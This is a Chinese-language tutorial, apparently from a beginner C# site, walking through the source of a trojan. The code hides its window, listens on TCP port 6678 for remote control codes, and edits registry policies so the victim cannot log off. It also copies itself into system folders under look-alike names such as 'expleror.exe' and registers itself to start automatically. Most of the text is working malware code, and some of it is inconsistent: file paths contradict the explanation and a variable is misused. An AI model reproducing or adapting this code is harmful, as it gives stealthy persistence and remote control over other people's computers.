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用C#實現木馬程序

編輯:C#入門知識

要實現木馬服務的程序,主要實現以下幾個功能:後台的運行(隱藏技術),控制碼的接收與注冊表的修改,下面對這三方面做介紹:



private void InitializeComponent()
{
// 
// Form1
// 
//窗體顯示的起點和大小
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(368, 357);
//窗體名稱
this.Name = "Form1";
//設置屬性讓它後台運行
this.ShowInTaskbar = false;
this.Text = "Form1";
this.WindowState = System.Windows.Forms.FormWindowState.Minimized;

  2、控制代碼的接收,必需在服務程序運行開始就啟動,所以偵聽線程必需在程序初始化中啟動,所以放在窗體的構造函數中,代碼注解如下:

{
//
// Windows 窗體設計器支持所必需的
//
InitializeComponent();

// TODO: 在 InitializeComponent 調用後添加任何構造函數代碼
//加入你的偵聽代碼
//端口你可以自已設定,我使用了固定的端口
int port =6678;
//System.Net.Sockets.TcpListener是用來在Tcp網絡中偵聽客戶端的
listener = new TcpListener(port);
//啟動偵聽
listener.Start();
//增加接收控制碼的線程,如果要停止線程可以用 Thread.abort()
//reControlCode 是線程啟動執行的函數,此函數根據接收的控制
//控制碼選取合適的注冊表修改函數
Thread thread = new Thread(new ThreadStart(reControlCode));
thread.Start();
}
reControlCode函數如下,完整代碼見程序
private void reControlCode()
{
//設置接收套接字,接收listener.AcceptSocket是返回已經接收的客戶的請求
socket = listener.AcceptSocket();
//如果連接成功執行
while (socket.Connected)
{
//接收控制碼
byte [] by =new byte[6];
int i = socket.Receive(by,by.Length ,0);
string ss = System.Text.Encoding.ASCII.GetString(by);
//根據控制碼執行不同的功能 

//修改注冊表加入編碼
switch (ss)
{
case "jiance"://測試連接,返回測試信息
string str ="hjc";
byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);
socket.Send(bytee,0,bytee.Length,0);
break;
case "zx1000":
//修改注冊表函數,自已定義,見下面分析 
UnLogOff();
//返回控制消息
retMessage();
break;



case "zx0100":
//修改注冊表函數
UnClose();
//返回控制消息
retMessage();
break;
//重復的case功能與前面一樣,略掉
default: 
break;
}//case
}//while
} //private void reControlCode 

下面設鍵值NoLogOff 為 1 即可使計算機無法注銷。在下面的函數中用C#實現對注冊表的修改:
private void UnLogOff()
{
//得到主機的注冊表的頂級節點
Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;
//設置一個注冊表子鍵的變量
RegistryKey key1;
try
{
//函數RegistryKey.OpenSubkey(string registrykey,bool canwrite)檢索指定的子鍵
//registrykey是用戶指定的鍵值,canwrite 為true則可修改,默認為fasle不可改
key1 =
rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);
//設置子鍵的鍵名,和值
key1.SetValue ("NoLogOff",1);
//關閉打開的子鍵
key1.Close();
//警告字符串設定
mystr = mystr +"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer鍵值Nologoff被修改!請將它置為0!";
}
catch{}
//如果不存在自已建立
if(key1 ==null)
{
try
{
//使用RegistryKey.CreateSubKey(string mystring)函數來建立你需要的子鍵
RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");
key2.SetValue("NoLogOff",1);
key2.Close();
mystr = mystr +"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer鍵值Nologoff被修改!請將它置為0!";
}
catch{}
}

  4、在木馬程序中還有一個重要的功能就是自我的復制和轉移。木馬引入被控制的主機時必需自動將木馬隱藏在System,System32的目錄下以防被發現。轉移的代碼分析如下,主要實現的功能是將D盤下的木馬程序轉移到C://winnnt//system//msdoss.exe,同時換名稱。使用的.NET命名空間System.IO,它的作用是允許對數據流和文件進行同步和異步讀寫。這裡我們使用了System.IO.File類。
private void moveCC1()
{
try
{
//函數File.Move(string sourceFileName,string destFileName)起移動文件的作用
//sourceFileName為要移動的文件名,destFileName為文件的新路徑
File.Move("C://winnnt//system//msdoss.exe","d://winnt//system32//expleror.exe");
}
catch {}
//將新移的木馬程序設為自啟動.分析和前面一樣
try
{
key1 = rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run",true);
key1.SetValue ("microsoftt","d://winnt//system32//expleror.exe");
key1.Close();
}
catch{}
if(key1 ==null)
{
try
{
RegistryKey key2=rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run");
key1.SetValue ("microsoftt","d://winnt//system32//expleror.exe");
key1.Close();
}
catch{}
}
} //moveCC1() 
 

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